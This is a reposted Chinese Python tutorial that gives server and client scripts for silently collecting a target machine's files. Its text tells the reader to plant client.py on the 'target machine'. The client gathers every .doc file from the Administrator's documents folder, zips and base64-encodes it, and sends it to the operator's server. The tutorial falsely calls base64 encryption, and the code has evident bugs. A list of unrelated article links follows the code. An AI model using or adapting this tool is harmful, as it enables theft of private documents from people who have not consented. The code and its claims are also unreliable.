作者:上大王 字体:[增加 减小] 类型:转载

这篇文章主要介绍了python实现获取客户机上指定文件并传输到服务器的方法,涉及Python实现C/S架构程序与socket程序的使用技巧,需要的朋友可以参考下

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法,

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密

2、用zip压缩

3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可

4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

HOST = ‘127.0.0.1‘

PORT = 2000

BUF_SIZE = 6553500 #6M

key = ‘ouyang‘

timeout = 5

dicName = "ouyang\\"

ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

ss.bind((HOST,PORT))

ss.listen(5)

print "wating for conntecting..."

while True:

try:

cs,addr = ss.accept()

socket.setdefaulttimeout(timeout)

cs.send("200 Connected!")

#获取加密数据

encode_data = cs.recv(BUF_SIZE)

#把数据写到out.zip文件

tmpfile = open(‘out.tmp‘,‘wb‘)

try:

tmpfile.write(encode_data)

tmpfile.close()

except IOError,e:

print ‘Strange error creating IOError:%s‘ % e

tmpfile.close()

finally:

tmpfile.close()

#base64 decode 2进制 解密 decode(infile,outfile)

tmpfile = open(‘out.tmp‘,‘rb‘)

utfile = open(‘out.zip‘,‘wb‘)

base64.decode(tmpfile,outfile)

tmpfile.close()

outfile.close()

#打开zip文件

zfile = zipfile.ZipFile(‘out.zip‘,‘r‘)

#创建一个文件夹来存放获取的zip文件

if not os.path.exists(dicName):

os.mkdir(dicName)

for f in zfile.namelist():

data = zfile.read(f)

file = open(dicName+os.path.basename(f),‘w+b‘)

file.write(data)

file.close()

print "finished!!!"

zfile.close()

#后续处理 删除临时文件

os.remove(‘out.tmp‘)

cs.close()

except socket.error, e:

print ‘Strange error creating socket:%s‘ % e

cs.close()

ss.close()

except socket.error, e:

print ‘Strange error creating socket:%s‘ % e

ss.close()

if __name__==‘__main__‘:

main()

客户端程序:

代码如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

for root, dirs, files in os.walk(dir, topdown):

for name in files:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

for name in dirs:

if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

filelist.append(os.path.join(root,name))

def main():

HOST = ‘127.0.0.1‘

PORT = 2000

BUF_SIZE = 65535

key = ‘ouyang‘

dicName = "C:\Documents and Settings\Administrator\我的文档"

extName = ‘.doc‘

#遍历搜索我的文档的doc类型

try:

filelist = []

walk_dir(dicName,filelist,extName)

except IOError,e:

print "文件处理错误: " % e

sys.exit(-1)

cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

cs.connect((HOST,PORT))

print cs.recv(BUF_SIZE)

#压缩成zip文件

zfile = zipfile.ZipFile(‘in.zip‘,‘w‘,zipfile.ZIP_DEFLATED)

for f in filelist:

zfile.write(f)

zfile.close()

#base 2进制 加密 encode(infile,outfile)

infile = open(‘in.zip‘,‘rb‘)

tmpfile = open(‘in.tmp‘,‘wb‘)

base64.encode(infile,tmpfile)

infile.close()

tmpfile.close()

#send

tmpfile = open(‘in.tmp‘,‘rb‘)

cs.send(tmpfile.read())

tmpfile.close()

#后续处理 删除中间文件

os.remove(‘in.tmp‘)

cs.close()

except socket.error ,e:

print ‘socket 出错啦:‘ % e

cs.close()

if __name__==‘__main__‘:

main()

希望本文所述对大家的Python程序设计有所帮助,python实现获取客户机上指定文件并传输到服务器的方法》(https://www.unjs.com)。

服务器获取客户端电脑文件,python实现获取客户机上指定文件并传输到服务器的方法 -电脑资料...相关推荐

  1. 如何在Python中获取图片分辨率?——Python实现获取图片分辨率的代码及详解。

    如何在Python中获取图片分辨率?--Python实现获取图片分辨率的代码及详解. 在进行图片处理或者图片分析的时候,获取图片的分辨率信息是必不可少的.Python提供了许多库可以方便地获取图片的分 ...

  2. Github 之删除文件或者文件夹(不影响本地文件,只删除远端的指定文件或者文件夹) 操作

    Github 之删除文件或者文件夹(不影响本地文件,只删除远端的指定文件或者文件夹) 操作 目录 Github 之删除文件或者文件夹(不影响本地文件,只删除远端的指定文件或者文件夹) 操作 一.简单介 ...

  3. 获取客户端mac地址 php,js获取客户端mac地址的方法

    首先声明,此篇文章纯属标题党.今日QQ群里探讨用JS获取客户端mac地址的方法,众说纷纭,有说行有说不行的,闲着没事儿研究了一下,js确实可以获取到客户端当前电脑的mac地址,代码如下,但这段代码放到 ...

  4. python获取类函数的变量-python 动态获取当前运行的类名和函数名的方法

    一.使用内置方法和修饰器方法获取类名.函数名 python中获取函数名的情况分为内部.外部,从外部的情况好获取,使用指向函数的对象,然后用__name__属性 复制代码 代码如下: def a():p ...

  5. 模拟服务器和客户端交互的python脚本

    脚本: 模拟服务器和客户端交互: import argparse, socket from datetime import datetimeIP = "127.0.0.1" COD ...

  6. python在当前目录创建txt文件-python根据txt文本批量创建文件夹

    前言 前言:想写这个代码的原因是因为实习的时候需要根据表格名创建对应的文件夹,如果只是很少个数文件夹的话,ctrl+shift+n还可以接受吧,可是一次就要创建几百个文件夹,这就有点方方了.所以我写了 ...

  7. python打开指定文件-python打包压缩、读取指定目录下的指定类型文件

    下面通过代码给大家介绍python打包压缩指定目录下的指定类型文件,具体代码如下所示: import os import datetime import tarfile import fnmatch ...

  8. python导入excel文件-python使用xlrd模块读写Excel文件的方法

    本文实例讲述了python使用xlrd模块读写Excel文件的方法.分享给大家供大家参考.具体如下: 一.安装xlrd模块 到python官网下载http://pypi.python.org/pypi ...

  9. python读取c盘中的csv文件-python读取当前目录下的CSV文件数据

    在处理数据的时候,经常会碰到CSV类型的文件,下面将介绍如何读取当前目录下的CSV文件,步骤如下 1.获取当前目录所有的CSV文件名称: #创建一个空列表,存储当前目录下的CSV文件全称 file_n ...

最新文章

  1. MySQL 误操作恢复表
  2. Binary Tree Traverasl with OO and Stack
  3. J2CL –迟到总比不到好
  4. scala集合中添加元素_如何在Scala中获得列表的第一个元素?
  5. 流程DEMO-合同会审表
  6. python换零钱有多少种方案_Python之100个项目:零钱转换程序
  7. OkHttp上传文件,服务器端请求解析找不到文件信息的问题
  8. AI学习笔记(十三)CNN之人脸检测
  9. xmind 软件画思维导图
  10. 从命令行安装IIS 7.0
  11. 【C#】通过Devcon.exe控制设备管理器中设备的启停
  12. iOS 应用内付费(IAP)开发步骤一:填写相关的税务,银行,联系人信息;
  13. 计算机桌面截屏快捷键,关于电脑屏幕截图的快捷键是什么
  14. 无法绑定由多个部分组成的标识符 yvi312082007@163.com。
  15. C语言 · 求arccos值
  16. EINT DINT ERTM DRTM EALLOW EDIS ESTOP0的理解
  17. 三只松鼠网络营销成功之路
  18. 无法装载DLL Microsoft原因: 126(找不到指定的模块)
  19. 微信公众号调取相册和摄像头功能,实现图片上传
  20. 移动端web设计尺寸_移动端H5页面的设计稿尺寸大小规范

热门文章

  1. 刷机android8.1 错误7,[Android]错误: -source 1.7 中不支持 lambda 表达式 (请使用 -source 8 或更高版本以启用 lambda 表达式)...
  2. android 置顶窗口位置,Android 滑动悬浮置顶指南
  3. vue 声明周期函数_Vue_生命周期函数
  4. mysql存储引擎的方式_Mysql转换表存储引擎的三种方式
  5. l洛谷P4779 【模板】单源最短路径(标准版)(dijkstra)
  6. SpringBoot实用小技巧之动态设置SpringBoot日志级别 1
  7. 机器学习系统设计——误差矩阵
  8. (转帖)开源容器集群管理系统Kubernetes架构及组件介绍
  9. aptana studio 3支持jquery
  10. HTML5 file api读取文件的MD5码工具